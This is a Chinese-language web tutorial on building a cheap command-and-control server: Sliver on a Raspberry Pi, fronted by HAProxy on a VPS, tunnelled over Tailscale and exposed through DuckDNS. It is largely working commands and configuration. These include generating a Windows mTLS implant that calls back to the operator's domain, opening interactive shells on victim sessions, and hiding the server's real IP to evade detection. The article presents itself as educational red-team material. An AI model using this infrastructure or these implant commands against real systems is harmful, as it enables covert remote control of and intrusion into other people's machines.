返回首页

Raspberry Pi 上的 C2:一晚搞定低预算 | 网络安全

基于 Raspberry Pi 4 使用 Sliver、Tailscale 和 HAProxy 创建低预算 C2 基础设施的指南。详细组件设置、成本优化和操作建议。针对网络安全研究人员的解决方案。

如何每月 4 欧元在 Raspberry Pi 上组装 C2 服务器
Advertisement 728x90

# 树莓派上的低成本 C2 基础设施:一晚完成的分步设置指南

为网络安全研究构建命令与控制(C2)基础设施,通常离不开昂贵的商业解决方案。本指南将一步步指导您使用开源软件在 Raspberry Pi 4 上搭建一个功能齐全的 C2 系统。重点是极致控制成本,同时保留核心特性:加密流量、动态 DNS 和抗检测隐蔽性。本文仅供教育用途,限于道德黑客范畴。

低成本 C2 系统的架构布局

搭建需要以下组件:

  • Raspberry Pi 4(4 GB RAM)——主要植入服务器
  • 32 GB SD 卡
  • VPS(2 GB RAM,从 4 €/月起)——用于公共端点
  • Tailscale —— 用于组件间安全隧道
  • Sliver v1.7.3 —— Cobalt Strike 的开源替代品
  • DuckDNS —— 动态 DNS 服务

系统架构流程如下:implant → duckdns.org:443 → VPS (HAProxy) → Tailscale → Raspberry Pi (Sliver:31337)。此设置将树莓派的真实 IP 隐藏在公共域名背后,并在每个跳点加密流量。

Google AdInline article slot

使用 Tailscale 设置安全隧道

在树莓派和 VPS 上以相同方式安装 Tailscale。在终端运行:

curl -fsSL https://tailscale.com/install.sh | sh
sudo tailscale up

浏览器认证后,系统会为每个节点分配唯一的 Tailscale IP(例如,树莓派:100.92.XX.XXX,VPS:100.106.XXX.XX)。测试节点间连通性:

ping 100.92.XXX.XXX

关键点:组件间流量采用端到端加密,避免中间节点拦截。Tailscale 会自动处理路由更新,即使 IP 变动也能保持连接稳定。

Google AdInline article slot

在树莓派上部署 Sliver

下载 ARM64 架构的 Sliver 二进制文件:

cd /tmp
wget https://github.com/BishopFox/sliver/releases/download/v1.7.3/sliver-server_linux_arm64
sudo install -m 755 sliver-server_linux_arm64 /usr/local/bin/sliver-server

以守护进程方式启动服务器,允许任意接口连接:

sliver-server daemon --lhost 0.0.0.0 --lport 31338

植入监听器运行在 31337 端口。用于管理时,使用 Sliver 控制台:sliver-server console。确保树莓派防火墙开放 31337 端口。

Google AdInline article slot

在 VPS 上配置 HAProxy

在虚拟服务器上安装 HAProxy:

sudo apt install -y haproxy

编辑配置文件 /etc/haproxy/haproxy.cfg

global
    log /dev/log local0
    maxconn 10000

defaults
    mode tcp
    timeout connect 5s
    timeout client 60s
    timeout server 60s

frontend sliver_frontend
    bind :443
    default_backend sliver_backend

backend sliver_backend
    server pi4 100.92.XXX.XXX:31337 check

重启服务:

sudo systemctl enable haproxy
sudo systemctl start haproxy

HAProxy 充当 TLS 终止器,将 443 端口流量通过 Tailscale 转发至内部树莓派地址。验证运行:openssl s_client -connect your-domain.duckdns.org:443

集成动态 DNS

在 DuckDNS 上注册域名,并指向 VPS 公网 IP。为自动更新 IP,添加更新脚本至 cron。检查域名解析:

dig your-domain.duckdns.org

当 VPS 外网 IP 变动时,此步骤对连接稳定性至关重要。DuckDNS 确保域名始终解析到当前服务器地址。

生成并测试植入

在 Sliver 控制台中创建 HTTP 监听器:

http --domain your-domain.duckdns.org --lhost 0.0.0.0 --lport 31337

生成带 mTLS 认证的 Windows 植入:

generate --mtls your-domain.duckdns.org:443 --format exe --os windows --save /tmp/sliver.exe

将文件传输至测试 Windows 10 系统(演示时禁用防御机制)。植入运行后,Sliver 控制台会出现会话:

[*] Session c5360843 UNIFORM_DISGUST - 100.106.xxx.xx:48190 (win10) - windows/amd64

连接会话:

sessions -i c5360843
shell

测试确认连接韧性:会话能经受植入重启或网络变动。

优化与运维

为提升可靠性,建议:

  • 通过 systemd 设置 Sliver 开机自启
  • 添加 HAProxy 日志监控
  • 为不同监听器使用独立域名
  • 定期续期 Let's Encrypt 证书

日常管理关键命令:

# 启动 Sliver
sliver-server daemon --lhost 0.0.0.0 --lport 31338

# 查看活跃会话
sessions

# 进入交互 shell
sessions -i <ID>
shell

系统支持通过 Tailscale 移动 App 管理植入,让您全球任意位置访问。

核心要点

  • 双重加密架构(TLS + Tailscale)最大限度降低流量检测风险
  • 月成本仅限 VPS(从 4 €起);其余软件均为开源
  • Raspberry Pi 4 轻松处理 50 个并发会话
  • DuckDNS 集成免费解决动态 IP 问题
  • 凭借基本网络知识,Sliver 完全取代商业工具

— Editorial Team

Advertisement 728x90

继续阅读